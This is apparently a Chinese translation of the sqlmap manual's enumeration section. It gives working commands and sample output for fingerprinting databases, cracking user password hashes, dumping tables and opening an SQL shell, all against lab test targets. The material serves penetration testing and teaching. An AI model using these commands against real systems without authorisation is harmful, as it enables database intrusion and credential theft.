开关 -f或–fingerprint
默认情况下,sqlmap会自动指纹数据库。如果你想要执行更广泛的数据库指纹识别可以使用该参数,sqlmap会执行更多的请求,来确定更精确的DBMS版本以及操作系统,体系结构和补丁级别指纹。
3.9 列数据
3.9.1 列举全部信息
开关 –all
使用该开关,用户可检索访问的所有内容。
不推荐这样做,因为它会产生大量的请求来检索有用和无用的数据。
3.9.2列举数据库管理系统信息
开关 -b或–banner
大多数现代数据库管理系统都有一个函数或一个环境变量,它返回数据库管理系统版本,并最终返回其修补程序级别(即底层系统)的详细信息。通常该函数是version()和环境变量@@version,但是这取决于目标DBMS。
针对Oracle目标的示例:
python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --banner
输出:
[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
3.9.3 当前用户
开关 –current-user
通过这个开关,可能检索出数据库管理系统的当前用户。
3.9.4 当前数据库
开关 –current-db
通过此开关,可以检索Web应用程序连接到的数据库管理系统的数据库名称。
3.9.5 服务器主机名
开关 –hostname
使用此开关可以列举数据库管理系统的主机名。
例如MySQL目标:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --hostname
部分结果
[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname: 'debian-5.0-i386'
3.9.6 检测当前用户是否是管理员
开关 –is-dba
可以检测当前数据库管理系统会话用户是否是数据库管理员(也称为DBA)。如果是,sqlmap则返回True ,反之亦然False。
3.9.7 列出数据库管理用户
开关 –users
如果当前用户有读取包含有关DBMS用户信息的系统表的权限时,可以枚举用户列表。
3.9.8 列举并破解数据库管理系统用户密码Hash值
开关 –passwords
如果当前用户有读取包含有关DBMS用户信息的系统表的权限时,可以枚举每个用户的密码哈希值。sqlmap将首先枚举用户,然后针对每个用户使用不同的密码哈希。
下面是针对PostgreSQL目标的示例:
python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
部分结果:
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
sqlmap不仅枚举了用户及其密码hash,而且还会识别hash格式,询问用户是否用字典文件破解出明文密码。这个功能已经在所有可以枚举用户密码的DBMS中实现。
你还可以使用开关-U
来指定要破解哪个用户的密码hash,如果你指定的用户为CU
,则会自动破解当前用户的密码。
例如:
python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -U CU
3.9.9 列出数据库管理系统用户权限
开关 –privileges
如果当前用户有读取包含有关DBMS用户信息的系统表的权限时,可以枚举每个用户的权限。通过权限,sqlmap还会显示哪些是数据库管理员。
你还可以使用-U
指定用户。如果你提供的用户名为cu
,则默认为当前用户。
在Microsoft SQL Server上,此功能将向你显示是否每个用户都是数据库管理员,而不是所有用户的权限列表。
3.9.10 列出数据库管理系统用户角色
开关 –roles
如果当前用户有读取包含有关DBMS用户信息的系统表的权限时,可以列出每个用户的角色。
你还可以使用-U
指定用户。如果你提供的用户名为cu
,则默认为当前用户。
此功能仅在DBMS为Oracle时可用。
3.9.11 列出所有的数据库
开关 –dbs
如果当前用户有读取包含有关DBMS用户信息的系统表的权限时,可以列出所有的数据库。
3.9.12 枚举数据库的表
开关和参数 –tables,–exclude-sysdbs和-D
如果当前用户有读取包含有关DBMS用户信息的系统表的权限时,可以列出特定数据库的所有表。
-D
指定数据库,如果不提供参数-D
来指定数据库,只使用--tables
开关来列举数据库表,sqlmap将列出所有数据库的表。
例如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" -D testdb --tables
你还可以使用开关--exclude-sysdbs
来排除系统数据库。
请注意,在Oracle数据库上上,你必须提供TABLESPACE_NAME而不是数据库名称。
3.9.13 列出数据库表中字段
开关和选项 –columns,-C,-T和-D
如果当前用户有读取包含有关DBMS用户信息的系统表的权限时,可以列出特定数据库表的列和列对应的数据类型。
其中-T
指定表,-D
指定数据库,-C
指定列。若只指定了数据表而没有指定数据库则默认使用当前数据库。若没有指定列则列举表中全部列。
针对SQLite目标的示例:
python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name
输出:
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME | SURNAME |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+---+--------+-------------+
3.9.14 列举数据库管理系统模式
开关 –schema和–exclude-sysdbs
用户可以使用此开关获取数据库的架构,包含数据库、表和字段,以及各自的类型。
使用--exclude-sysdbs
,将不会获取数据库自带的系统库内容。
针对MySQL目标的示例:
python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema--batch --exclude-sysdbs
输出:
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column | Type |
+-------------+---------+
| cid | int(11) |
| mysignature | text |
| password | text |
| username | text |
+-------------+---------+
Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| date | datetime |
| blogger_name | text |
| cid | int(11) |
| comment | text |
+--------------+----------+
Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| date | datetime |
| browser | text |
| cid | int(11) |
| hostname | text |
| ip | text |
| referer | text |
+----------+----------+
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column | Type |
+---------+---------------+
| id | int(11) |
| name | varchar(500) |
| surname | varchar(1000) |
+---------+---------------+
[...]
3.9.15 获取表中数据个数
开关 –count
如果用户想要知道表中的数据个数,而不是数据内容,他可以使用这个开关。
针对Microsoft SQL Server目标的示例:
python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table | Entries |
+----------------+---------+
| dbo.users | 4 |
| dbo.users_blob | 2 |
+----------------+---------+
3.9.16 获取整个表的数据
开关和选项 –dump,-C,-T,-D,–start,–stop,–first,–last,–pivot-column和–where
如果当前管理员有权限读取数据库的其中一个表的话,那么就能获取整个表的所有内容。
使用-T
和-D
参数指定数据库和数据库表,如果不指定数据库的话,则默认使用当前数据库。
使用--dump
和-D
可以获取数据库所有表的内容(不使用-C
和-T
)
针对Firebird目标的示例:
python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
结果:
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME | SURNAME |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+----+--------+------------+
Sqlmap会自动将参数–dump
列举的数据保存到CSV格式文件中,文件具体路径会在Sqlmap的输出中给出。
若只想列举部分数据可以使用参数–start
和–stop
分别从某个条目开始输出存储,并在某个条目处停止。如只想列举第一条数据可以添加–stop 1
,
只想列举第二和第三条数据可以添加–start 1 –stop 3
你还可以使用--first
和--last
限制输出的字符范围,例如如果你只想输出第三列到第五列的条目,那么你可以使用--first 3 --last 5
。此功能只适用于盲注,因为对于报错注入和联合注入,列数量需要完全相同。
有时候(例如,对于Microsoft SQL Server,Sybase和SAP MaxDB),因为列数据类型不同,sqlmap不能直接利用OFFSET m,n
对列进行输出。在这种情况下,sqlmap会输出最适合的pivot列,然后利用此列来检索其他的列,有时候当sqlmap选择的privot列不正确时,我们可以使用参数--pivot-column
(例如–pivot-column=id)来指定pivot列。
除了使用上述参数来限制输出的列数(或者条目),还可以使用--where
参数,后面接的合理语句将会被自动转换为where语句,例如--where id>3
则 只会列举id>3的条目。
像你目前为止所了解到的那样,sqlmap非常的灵活。你可以自动输出全部的数据,也可以自定义需要输出的列数和条目。
3.9.17 获取所有数据库所有表的数据
开关 –dump-all和–exclude-sysdbs
使用参数–dump-all
可列举所有数据库所有表中所有数据。可同时加上参数–exclude-sysdbs
排除系统数据库。
注意,在Microsoft SQL Server上,master数据库不被视为系统数据库,因为某些数据库管理员将其当作用户数据库来使用。
3.9.18 搜索字段、表、数据库
开关和参数 –search, -C, -T, -D
这些开关和参数可以用来搜索特定的数据库名称,在所有数据库中搜索特定表,在数据表中搜索特定的列。
--search
是用来查找的参数,需要和下面三个选项一起使用:
- -C: 后面跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名
- -T: 后面跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
- -D: 后面跟着用逗号分割的数据库名,将会在所有数据库中搜索指定的库名
3.9.19 运行自定义的SQL语句
参数 –sql-query , –sql-shell
sqlmap允许运行任意的SQL语句,这些语句将会被自动的解析,来确定适合哪种注入技术。最后将其打包到payload中。
如果查询是一个SELECT语句,sqlmap将会返回它的输出,如果目标数据库支持多语句查询,sqlmap将会使用堆查询技术。但是有的数据库(比如MYSQL)不支持堆查询。
针对Microsoft SQL Server 2000目标的示例:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
结果:
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo': 'foo'
查询两列:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2
结果:
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into distinct queries to be able to retrieve the output even if we are
going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'
正如你所看到的,sqlmap将查询分成两个不同的SELECT语句,然后检索每个单独查询的输出。
如果提供的查询是一个SELECT语句并包含一个FROM子句,sqlmap会询问你这样的语句是否可以返回多个条目。在这种情况下,工具知道如何正确地解开查询,计算条目的数量并输出。
--sql-shell
参数会提供一个数据库的shell,还支持TAB补全和命令历史记录。